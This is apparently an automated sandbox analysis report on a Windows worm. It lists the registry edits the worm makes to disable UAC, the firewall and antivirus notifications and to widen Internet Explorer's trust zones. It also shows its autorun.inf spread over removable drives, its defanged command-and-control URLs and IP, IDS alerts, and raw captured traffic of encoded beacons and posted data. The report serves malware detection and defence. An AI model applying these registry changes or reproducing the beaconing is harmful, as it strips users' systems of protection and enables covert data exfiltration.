"a3_511" = "3679991734"
"a3_516" = "3715971501"
"a3_517" = "3723025868"
"a1_198" = "624864537"
"a1_199" = "2613955388"
"a4_148" = "1061029908"
"a4_149" = "1068199029"
"a4_146" = "1046691666"
"a4_147" = "1053860787"
"a1_196" = "1622447643"
"a4_145" = "1039522545"
"a1_190" = "1847546535"
"a4_143" = "1025184303"
"a4_140" = "1003676940"
"a4_141" = "1010846061"
"a2_983" = "2752277088"
"a3_910" = "2245638887"
"a4_548" = "3928678308"
"a4_549" = "3935847429"
"a4_542" = "3885663582"
"a4_543" = "3892832703"
"a4_540" = "3871325340"
"a4_541" = "3878494461"
"a4_546" = "3914340066"
"a4_547" = "3921509187"
"a4_544" = "3900001824"
"a4_545" = "3907170945"
"a4_839" = "1719925223"
"a1_662" = "2478643593"
"a1_663" = "2303243004"
"a3_965" = "2639793036"
"a1_660" = "2679207514"
"a4_380" = "2724265980"
"a4_381" = "2731435101"
"a4_382" = "2738604222"
"a4_383" = "2745773343"
"a4_384" = "2752942464"
"a4_385" = "2760111585"
"a4_386" = "2767280706"
"a4_169" = "1211581449"
"a4_388" = "2781618948"
"a4_389" = "2788788069"

"a1_667" = "4271890066"
"a1_664" = "218104530"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"AntiVirusOverride" = "1"

[HKCU\Software\Aas]
"a1_665" = "828097669"
"a1_0" = "4079183183"
"a1_1" = "1533999419"
"a1_2" = "333900187"
"a1_3" = "1131992701"
"a1_4" = "3755401945"
"a1_5" = "2692097881"
"a1_6" = "1772591705"
"a1_7" = "2997703561"
"a1_8" = "2110851921"
"a1_9" = "118359765"
"a2_566" = "4057724185"
"a2_567" = "4064889528"
"a2_564" = "4043387667"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"EnableLUA" = "0"

[HKCU\Software\Aas]
"a2_562" = "4029040043"
"a2_563" = "4036223241"
"a3_8" = "40388897"
"a3_9" = "47967552"
"a3_6" = "59977839"
"a3_7" = "67032206"
"a3_4" = "11991981"
"a3_5" = "52535244"
"a3_2" = "31040235"
"a3_3" = "4933386"
"a3_0" = "17001001"
"a3_1" = "23989832"
"a2_412" = "2953682595"
"a2_413" = "2960844778"
"a2_410" = "2939344517"
"a2_411" = "2946511195"
"a2_416" = "2982347834"
"a2_417" = "2989528480"
"a2_414" = "2968023316"
"a2_415" = "2975182632"
"a2_418" = "2996697541"
"a2_419" = "3003863962"
"a2_962" = "2601724165"
"a2_963" = "2608891188"
"a2_960" = "2587379729"
"a2_961" = "2594557158"
"a2_966" = "2630412093"
"a2_967" = "2637577540"
"a2_964" = "2616058022"
"a4_950" = "2515697654"
"a1_631" = "3087200584"
"a2_968" = "2644744303"
"a2_969" = "2651909894"
"a4_564" = "4043384244"
"a1_219" = "395656098"
"a1_218" = "4188432683"
"a1_217" = "254753888"
"a1_216" = "3143177741"
"a1_215" = "2823297886"
"a1_214" = "2435360324"
"a1_213" = "855057127"
"a1_212" = "1352987293"
"a1_211" = "1336931149"
"a1_210" = "2113807822"
"a2_988" = "2788126971"
"a2_989" = "2795296754"
"a4_567" = "4064891607"
"a1_630" = "1775899661"
"a2_980" = "2730780318"
"a4_560" = "4014707760"
"a2_982" = "2745111754"
"a4_956" = "2558712380"
"a2_984" = "2759454994"
"a2_985" = "2766608997"
"a2_986" = "2773780150"
"a4_561" = "4021876881"
"a4_562" = "4029046002"
"a3_991" = "2792683862"
"a4_563" = "4036215123"
"a4_443" = "3175920603"
"a1_633" = "4281921954"
"a4_442" = "3168751482"
"a4_441" = "3161582361"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

A firewall is disabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = "0"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\c:]
"%original file name%.exe" = "c:\%original file name%.exe:*:Enabled:ipsec"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

Firewall notifications are disabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DisableNotifications" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"AntiVirusDisableNotify" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process AppEnable.mg.exe:1092 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E 51 18 69 90 97 21 DD BF 7B 9C 5C 76 B0 8D 8C"

Dropped PE files

MD5	File path
5966f3c09a9960486a2074be5300e25f	c:\ppei.pif

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Worm's file once a user opens a drive's folder in Windows Explorer.

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	22738	23040	4.48583	062e6a4ad566f0caf1413733f848ea62
.rdata	28672	4496	4608	3.59034	a2c7710fa66fcbb43c7ef0ab9eea5e9a
.data	36864	253816	1024	3.1957	acf5fcee4a8110074c3935a8dde700a9
.ndata	290816	753664	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	1044480	86016	84480	5.52687	16cfa2ba081c3967f959f833926a2f8d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://appenable.info/mg?alpha=J1l2MToBHCBuQgEvWRs1GBA0Ij95SnINelxGNDNTf1l4e2pkZiFKJSNtGUVie0huEk5WKAU3fTpYOhwoVA4XNU87LUVbOwAAFTwaTQpZCzVlRXBgZjFcI1A6UTd0biYhCCo6P3IldlpUJRtqN2t7T3NkRic5QXB1YhwxMH0vDAo7TDpRNiQ2fnRqPB1RWgdJZSNIc3Yzbw8uTFQoYQoCF2k=
hxxp://appenable.info/mg?alpha=J1l2MTocaEARARFtWRs1Jh0lPDonH3RAS1dBBwEvIQ83UTcDImtDUSQcd0ZvDU1uYEVVWWlFf01aUmVZNFFMPE9fDmp+MXc2QzZrVi9y
hxxp://appenable.info/mg?alpha=LVIHL082SGYtNW9qKAVAEhtFPEpzUTdzX0MOZA==
hxxp://appenable.info/fp?alpha=ME5PLhpJc1cDX0t2YAQVMQocIxowEllfWxdPFC8QdUgeSRkTQT1RdDURJSA6a0VOfmc3JVAoLi5VGnF+Q2pFKRpbOQVHCiJLDSYsUU8kRQVwU1R+TiJPGFEdQCFIcQc/GRM8H207SVlpMwRTKU1rXE94Zy05ISxaOhpdLAFTZnR/LgtRCDQMZUZJIk5cHz5QGnRCT3hWdEkKA05bJR58BjQPED8PYTBfDiUiBAI4Qz5ISXxwYmUsTABzHUArRCV/Zn00ABNRbUs4Rxo7Myg6LxJaJl9Lf0cnSxxSGFBxDjALWFMFfVo8ZkIpczsNV1xOakVMfGQ2JVBYKi5VGwEMNwYwKWhcOnw6bWlgWiwVTSd4YDV2
hxxp://appenable.info/ii?alpha=NEsXLmQmZygaHQVzOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhAAf3EnWGYsEltNSzNjexYENTBMSWNFZWADRClKYBFPCzEKZUkzOmcMH203E3VIPgcwFws2N2FdEmUdMTx7OnF9EjotITx7CDhNGQ0ccjdocFh1ZRcMIlx2dVUMLWFmWB0RIhdnGBEhYVgUez43cwc/U2hdVG92eDVya3h2Yi95ZWsUGSwjbQ4te1AZEApscm8HBDUwVklnQGZmFEQ9fnsdF0IkE3ZOfHIiGVU4dz50SwlUYQR+dmI0BFEjCCxYJ3VifRlWETZgWj5tC0wXEz9mc0kDazwBXTAGa39XDX44IFgfA2lCJR9sCzgYQjJpED0fKgA1Dh18cWU7bzxJdmhpSn9qCQMjLiFnH1sCIhgXZnIRVVhtZF4ePxNrd0FbcjkUMHZqJkQy
hxxp://appenable.info/if?alpha=NEsXLmQLN0VYOkgwOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhgVfxFpSzdyawQQEUk7OUtibGgMGDlWOzBaEml+L0xCU2BcJBRyeTcESjxjYzIUTl5jX3lqamUERzNYaGI7eTB8GBAAMG54ZigMWldXO2JlCQQuMEpdNhU5CghCcl1BWB0RIAtlQGEfa0QfZyYiKwdbCCtbUmwjNx5ULlo5QCB/ZHcOGSQ2IXkycEYFDhYiCgUHYWluHh4iAz8pCUAjKGQbABE9HXsFZmg3BEomY2c3F0hJY0tNcWY9TVIqS28tczwlNk1QLTFtTzV5Hy8XAm47Jk8RM1QWEiUVMmY0VS58dw1bRDoEKBF6JjBaRnF3MHEaUQoqCAsqIzUMH3sYPj0KJiQhR04DeDlsYS0VTB0RPwQYUFBpZFgtOAIiMwZNb0FWO1IqNQBxBRg6a1wedE5/fxFmCA==
hxxp://install.appenable.info/mg?alpha=J1l2MToBHCBuQgEvWRs1GBA0Ij95SnINelxGNDNTf1l4e2pkZiFKJSNtGUVie0huEk5WKAU3fTpYOhwoVA4XNU87LUVbOwAAFTwaTQpZCzVlRXBgZjFcI1A6UTd0biYhCCo6P3IldlpUJRtqN2t7T3NkRic5QXB1YhwxMH0vDAo7TDpRNiQ2fnRqPB1RWgdJZSNIc3Yzbw8uTFQoYQoCF2k=	8.37.113.115
hxxp://install.appenable.info/mg?alpha=J1l2MTocaEARARFtWRs1Jh0lPDonH3RAS1dBBwEvIQ83UTcDImtDUSQcd0ZvDU1uYEVVWWlFf01aUmVZNFFMPE9fDmp+MXc2QzZrVi9y	8.37.113.115
hxxp://install.appenable.info/ii?alpha=NEsXLmQmZygaHQVzOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhAAf3EnWGYsEltNSzNjexYENTBMSWNFZWADRClKYBFPCzEKZUkzOmcMH203E3VIPgcwFws2N2FdEmUdMTx7OnF9EjotITx7CDhNGQ0ccjdocFh1ZRcMIlx2dVUMLWFmWB0RIhdnGBEhYVgUez43cwc/U2hdVG92eDVya3h2Yi95ZWsUGSwjbQ4te1AZEApscm8HBDUwVklnQGZmFEQ9fnsdF0IkE3ZOfHIiGVU4dz50SwlUYQR+dmI0BFEjCCxYJ3VifRlWETZgWj5tC0wXEz9mc0kDazwBXTAGa39XDX44IFgfA2lCJR9sCzgYQjJpED0fKgA1Dh18cWU7bzxJdmhpSn9qCQMjLiFnH1sCIhgXZnIRVVhtZF4ePxNrd0FbcjkUMHZqJkQy	8.37.113.115
hxxp://install.appenable.info/mg?alpha=LVIHL082SGYtNW9qKAVAEhtFPEpzUTdzX0MOZA==	8.37.113.115
hxxp://install.appenable.info/fp?alpha=ME5PLhpJc1cDX0t2YAQVMQocIxowEllfWxdPFC8QdUgeSRkTQT1RdDURJSA6a0VOfmc3JVAoLi5VGnF+Q2pFKRpbOQVHCiJLDSYsUU8kRQVwU1R+TiJPGFEdQCFIcQc/GRM8H207SVlpMwRTKU1rXE94Zy05ISxaOhpdLAFTZnR/LgtRCDQMZUZJIk5cHz5QGnRCT3hWdEkKA05bJR58BjQPED8PYTBfDiUiBAI4Qz5ISXxwYmUsTABzHUArRCV/Zn00ABNRbUs4Rxo7Myg6LxJaJl9Lf0cnSxxSGFBxDjALWFMFfVo8ZkIpczsNV1xOakVMfGQ2JVBYKi5VGwEMNwYwKWhcOnw6bWlgWiwVTSd4YDV2	8.37.113.115
hxxp://install.appenable.info/if?alpha=NEsXLmQLN0VYOkgwOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhgVfxFpSzdyawQQEUk7OUtibGgMGDlWOzBaEml+L0xCU2BcJBRyeTcESjxjYzIUTl5jX3lqamUERzNYaGI7eTB8GBAAMG54ZigMWldXO2JlCQQuMEpdNhU5CghCcl1BWB0RIAtlQGEfa0QfZyYiKwdbCCtbUmwjNx5ULlo5QCB/ZHcOGSQ2IXkycEYFDhYiCgUHYWluHh4iAz8pCUAjKGQbABE9HXsFZmg3BEomY2c3F0hJY0tNcWY9TVIqS28tczwlNk1QLTFtTzV5Hy8XAm47Jk8RM1QWEiUVMmY0VS58dw1bRDoEKBF6JjBaRnF3MHEaUQoqCAsqIzUMH3sYPj0KJiQhR04DeDlsYS0VTB0RPwQYUFBpZFgtOAIiMwZNb0FWO1IqNQBxBRg6a1wedE5/fxFmCA==	8.37.113.115

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET POLICY Http Client Body contains pw= in cleartext

Traffic

GET /mg?alpha=J1l2MTocaEARARFtWRs1Jh0lPDonH3RAS1dBBwEvIQ83UTcDImtDUSQcd0ZvDU1uYEVVWWlFf01aUmVZNFFMPE9fDmp+MXc2QzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.appenable.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 May 2016 01:56:44 GMT

Content-Length: 2004

g9cnTAXc61IeT7SsGjBalI9jRArWwHhbTufgcRwTjY5nSESf63IoYZPtQDYpzd0wWSjH V
tEVfy4FXRm  43PzavlzAOR6HUbw0SoIsyd0Otp2JIG9OLIWVGmdVRW0zF8DkQEsq5YWs3
xMBFGwmK0yhHPN/9VVwS15EjQ1fT1j0dL6iAd1pdl9dtVUKpiBNxUr aZUQfwKEqZVauqy
9YSNnFLkYSj hzfTTDwSlAAo6dYUxlkfQBHxTbw3xUUcPXFlA4/4wxQgnbiy1bFLaXBDAN
07Nafj6HzmBwVLHhNwQL5s84A16S/mVkOt3WVyY0nZ5xTDrAsTQRGcaVKVIBmpAdHS ogB
sBXoeZOxcVo4tNMFKJi3ROHcCGFGFZsOw3BEfA2idGEoD0ZWk /8R/ExKKsnpMKtizQxgW
w5IjDAHfwQ8LLK Bd1pVg9dyHEztghlzVIXZK1kb0Ic/LE7n4HEcE4yHZ0hEn tyKGGT7U
ApM83dMFkox/lbRFX8mDVJTcLXGRIisZYJPGCWyWgXB7zFTTBBkJdkSCfEjyciD6v8eVIF
l9MzGlWF73JuDdDJfh9G1Z9nRSWfsx8RBcyECEFX38QOPyu4hj5CCYTabQoF48UIYVOGlG
NJS5 EI2xGoKU3W1HU1T9ICpLpYm8mnd4pEwDNyysbZZHlAA4SjdtkaGjl5UlQYa2EIQgR
2JlSABOmiRV3RZ afV41 aM3dFqX/HtNC5mUPQtck/5ZazbUhzEUEYOdPgssy EcHQPKhR
BBT8PXSUYtqIk5TBGE1HMaBYGGFXtBlLh5SArOwHhmVKn6cBIL3MUvHV U/zUwPdDJeB9I
zZRqSCrHs0MKBdqEOwxYlNsPXnnk1nlCR5vLZFta7a8qQWDT1zNdCNGKYDoXlvBmV0fB0z
kEUYroS1YLw8poPhGCgTAFa8XwFQsS4YArRQGM3B4QL/HHMBhDh9h1HASZhg1nUtPBf1gF
yc5gZlq36nBwSMHfPQ9zjv50YXmLw2oWF4rdMEA61 YWDBON2yBBT8XXR14mpYQ2FBHYz3
MMBbLLGjBeldkrFF2JwDZ5RaCrLxxh/uUcSBzE63Z M5OfKTcNjIN9WibV5SUiIMaPIk9U
xe43PzavlzAOR7TecwoJoIk9TmKfkn9eHcSOLlxphOdhV2Xa0SwPQsS3NXw63dBuNAWClD
ATJ8b9FVJVypk2RUDC1w8qIrGQMEIJjM5tFUztgQ5gVJS1cFkA04cBaFCm4jcET9TaOA8c
xPJkbize129YXomQflosn7McBhbMlWQaV8THDgFvpsc8BBHYijFLTO2TGGJS08EzZSL2tW
AsF7XoYVYLj5QGA1OU9GRlPcX5Vy0NgZV9XjrvzToLBd2EKFR108AYFSyzuQk1XYvVcg0B
o4s9TmCYiXReAcSQKSIZ5/90UlzQ CoHVcSheX833YkpHxyflHFdLNfHGBICysN8Tlba3k
deJbKXNgV9g89oDwWMjwRxXNPBd0wF1oduIly27WJRW9GUcQxRiuhyJnnU3WoZEM3L

<<< skipped >>>

GET /fp?alpha=ME5PLhpJc1cDX0t2YAQVMQocIxowEllfWxdPFC8QdUgeSRkTQT1RdDURJSA6a0VOfmc3JVAoLi5VGnF+Q2pFKRpbOQVHCiJLDSYsUU8kRQVwU1R+TiJPGFEdQCFIcQc/GRM8H207SVlpMwRTKU1rXE94Zy05ISxaOhpdLAFTZnR/LgtRCDQMZUZJIk5cHz5QGnRCT3hWdEkKA05bJR58BjQPED8PYTBfDiUiBAI4Qz5ISXxwYmUsTABzHUArRCV/Zn00ABNRbUs4Rxo7Myg6LxJaJl9Lf0cnSxxSGFBxDjALWFMFfVo8ZkIpczsNV1xOakVMfGQ2JVBYKi5VGwEMNwYwKWhcOnw6bWlgWiwVTSd4YDV2 HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.appenable.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 May 2016 01:56:47 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..
Content-Type: text/plain..Expires: -1..Server: Microsoft-IIS/7.5..X-As
pNet-Version: 4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP=
"CAO PSA OUR"..Date: Tue, 10 May 2016 01:56:47 GMT..Content-Length: 0.
.....

GET /ii?alpha=NEsXLmQmZygaHQVzOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhAAf3EnWGYsEltNSzNjexYENTBMSWNFZWADRClKYBFPCzEKZUkzOmcMH203E3VIPgcwFws2N2FdEmUdMTx7OnF9EjotITx7CDhNGQ0ccjdocFh1ZRcMIlx2dVUMLWFmWB0RIhdnGBEhYVgUez43cwc/U2hdVG92eDVya3h2Yi95ZWsUGSwjbQ4te1AZEApscm8HBDUwVklnQGZmFEQ9fnsdF0IkE3ZOfHIiGVU4dz50SwlUYQR+dmI0BFEjCCxYJ3VifRlWETZgWj5tC0wXEz9mc0kDazwBXTAGa39XDX44IFgfA2lCJR9sCzgYQjJpED0fKgA1Dh18cWU7bzxJdmhpSn9qCQMjLiFnH1sCIhgXZnIRVVhtZF4ePxNrd0FbcjkUMHZqJkQy HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.appenable.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 May 2016 01:56:47 GMT

Content-Length: 84

WDU7/UFSb3n5NEdWBoEAXnh56V5cOnzwM1E5Xa1BTCElt1YHF37Xc0Zleq5TR3Jp/S9SHR
CjXwm HqELcq5yHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP001C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Tue, 10 May 2016 01:
56:47 GMT..Content-Length: 84..WDU7/UFSb3n5NEdWBoEAXnh56V5cOnzwM1E5Xa1
BTCElt1YHF37Xc0Zleq5TR3Jp/S9SHRCjXwm HqELcq5y....

POST /if?alpha=NEsXLmQLN0VYOkgwOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhgVfxFpSzdyawQQEUk7OUtibGgMGDlWOzBaEml+L0xCU2BcJBRyeTcESjxjYzIUTl5jX3lqamUERzNYaGI7eTB8GBAAMG54ZigMWldXO2JlCQQuMEpdNhU5CghCcl1BWB0RIAtlQGEfa0QfZyYiKwdbCCtbUmwjNx5ULlo5QCB/ZHcOGSQ2IXkycEYFDhYiCgUHYWluHh4iAz8pCUAjKGQbABE9HXsFZmg3BEomY2c3F0hJY0tNcWY9TVIqS28tczwlNk1QLTFtTzV5Hy8XAm47Jk8RM1QWEiUVMmY0VS58dw1bRDoEKBF6JjBaRnF3MHEaUQoqCAsqIzUMH3sYPj0KJiQhR04DeDlsYS0VTB0RPwQYUFBpZFgtOAIiMwZNb0FWO1IqNQBxBRg6a1wedE5/fxFmCA== HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: ilg

User-Agent: NSIS_Inetc (Mozilla)

Host: install.appenable.info

Content-Length: 26887

Connection: Keep-Alive

Cache-Control: no-cache

alpha=AwBdOAYUWGV0GixeUhVwFE4ePkoYFV4VWjY7WWRGCgptDw==|,|AwBdOAYFJgwCPg5rUihnJWgiC0oYFXtOagERLB9ncB8AQlICITEyF3IzPV0ZXno8OCdDGkJ6BGpYXTZMU3gDa1l5XlM=|,|AwBdOAYMDhNBPQ56TyN5IQxWeSkfaXw7dRATKjQbaQBVc28qAy4/FGIMQFIzCksYBAx5ekUqIQ==|,|Bn0lN1AePi08EHN JBwLEA5QH3gAdWAPa2FOaxh4|,|Bn0lN1BvAShQH288KgcRADB/OhxzLTMICS9NNwIJWXhpLEUiB1MyTA0/Pix3UhonfygDCkwoYx4NdnZCAFovRlBvCWJeXiIXQzZrVi9y|,|CXltNxtMPwBgA3kkYhp6Ejk OAMPKnoURm9EMChaXnZlMUIFWzhReBsuKn9LLxkC|,|CXltNxtqH1xdf1V8YgdaDzQ3OiRAOXoYTm9BLSpaH3tufEMNWzlRKVJlJCFHRW8rBS4vGQk=|,|CXltNxs1Tl4NBjZ/YgdaDzQ3OiRAOXoYTm8afyxEQh8dImszLA==|,|CXltNxsjdTMrOxoQeAJACxMddhFdI2VbSCBKMiRZWzhteEAJFWBRLip/S2oiAg==|,|DHY1NmUmemsqRBofIAM Dh1Ad29YLD1aNiVFaiUnXjc1eT4MGjhQBggKZ0cPLw==|,|DHY1NmUmem
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 May 2016 01:56:48 GMT

Content-Length: 41

{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Contro
l: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; cha
rset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 
4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR".
.Date: Tue, 10 May 2016 01:56:48 GMT..Content-Length: 41..{"status":"O
K","url":null,"message":null}..

GET /mg?alpha=J1l2MToBHCBuQgEvWRs1GBA0Ij95SnINelxGNDNTf1l4e2pkZiFKJSNtGUVie0huEk5WKAU3fTpYOhwoVA4XNU87LUVbOwAAFTwaTQpZCzVlRXBgZjFcI1A6UTd0biYhCCo6P3IldlpUJRtqN2t7T3NkRic5QXB1YhwxMH0vDAo7TDpRNiQ2fnRqPB1RWgdJZSNIc3Yzbw8uTFQoYQoCF2k= HTTP/1.1

User-Agent: WinHttpClient

Host: install.appenable.info

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 May 2016 01:56:44 GMT

Content-Length: 184148

4y2L/OO7NNC1k YYtoC89HXP9Oy2OtTrqIca3az17GDFrq/2BJmAn5kU9J2goynO Nu7Se
/s2q5omvW3pSO gMTfPdXyo Mt2KzIznCogOv/dNHxo d9lsC2xgfc6pm0IJK/9LwPztbR
/X3BpfDsbvD427odsI35qniBsv wKau/wJE9kKOx9S7fraSVe6zOovQtn/j3pHuakunRAc
zrsvk3xbOypFuDgpHzK966560xnNHknyb34rO/ep745 xqlJX26Vq0jInBNN 748Fpjs2/
5XPS8dygbLLsoMABz essD 7hpLjBMv8z6t9i j07mfL/OGyBrDsq6Fuhvzp9C2/vMDea5
y0g Mt2KyklXO4zr29I9vy/aZ9oNGnzAXczaewL4z47OAA18nY/X3Oueb4ZMz9jekNtKLi
qjfI9b23K7Pun8ltjLWorjqPoOKNJ/SS/bN1xO3q5yLM Jj2JJui7aUtk7L0vEPow864Md
Ov8OFq0urzjzunofKqaJmwiLkmrrjKzz3V8qPjLdisyM5wqIDr/3TR8aPnfZbAtsYH3OqZ
tCCSv/S8D87W0f19waXw7G7w Nu6HbCN ap4gbL/sCmrv8CRPZCjsfUu362klXuszqL0LZ
/496R7mpLp0QHM67L5N8WzsqRbgouR8yveuuetMZzR5IA89 Kzv3qe OfsapS11tRxjbWn
7CDButrzTrnQuP9mzr j526P3KbAPdjjqvd2ia 66k2Z38WhOsS 5 td3/XatknvoOSjd8
ayo7k6pKnr3GuQprDBKciq7Y0nq8O94mSRv a2fJnfocFRg iuuT C9vTjGdrZyfNl07j3
6naS4o26D/f0qP03yOS8pi3l9of1VKqH965j3ajyxz/3gILoctTz 6BqgNG/1i/lz7qhI7
WvuPVDl5jLsDPSr8zuZtu7lb0euaK97X6S4KC1PKKo89xzjLX3uC/YpeqDP6vNo/Jk8/z7
rG6L87vAENKs9bMti6mzqkPSydmmMNWuoLVt3/Xctkf3q mueJ6y/6I6sqnYkWTbubGge5
T6qo1ptNK0szuf1cSWT8yc8dUSzebt7260o6XvD8/fz78 y7ne01vM9syXHri s M5nPGp
oy2JrcjYPcO oO4tgevj122owaX0Zev847B9zIq90B/Vou2zI5W5s8gAz9PLtBzPr HkKY
T/zr8YsOKzpmiO56qkLOX2w9xzirX5oCTVqOXbP/fWo RkwLH053GKkumcR5Wsu6w8gvjs
pCnw6erzc4W64/tjnKONngK2vP68dIzkmYofrqLB0miKjInBNN 748Fpm8ej4mjS89OZTY
DZvdYH2OKjiRCmtKLvLdTd2rQtheag WrS7MqdCrirs/V1n/yp mqitNXYfI21sdQgwbzj
jSej1739LZ/74Ld7i/6y0RrP64y9KYSx9LwH2tbOtHOFo/HrfNHry/FRs6/9vH7GsqCuKa
S4h4dri6Ww/23W6 /LP/eb6b0jyeT/oDrUkpvuIO6s4/c8hq6 pFuZycSiK9Cv4 RX

<<< skipped >>>

POST /mg?alpha=LVIHL082SGYtNW9qKAVAEhtFPEpzUTdzX0MOZA== HTTP/1.1

Content-Length: 246

Content-Type: application/x-www-form-urlencoded

User-Agent: WinHttpClient

Host: install.appenable.info

Connection: Keep-Alive

alpha=LVIHL08KCWoZSy4sKAVAEhtFPEpzQQMTD1ZNRS0mdVIJZR9ubVBUUClmaFsXcUMfDDtcI3QpCDBTSwJdXgVmKzoxJjRFTgoLZCJvRwEoFUBvTgF EztXUk5PWzwFcFMrA1skSnguB0QhLxAbKR5xRAJ6My0yMG4AaBdALgglB3slOTBaRzpDdH8bImhbUXZXEClDAmhGZQRfUlkKeghkUzcCWztWeS8FRSknFAosf3FpEVA=
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache
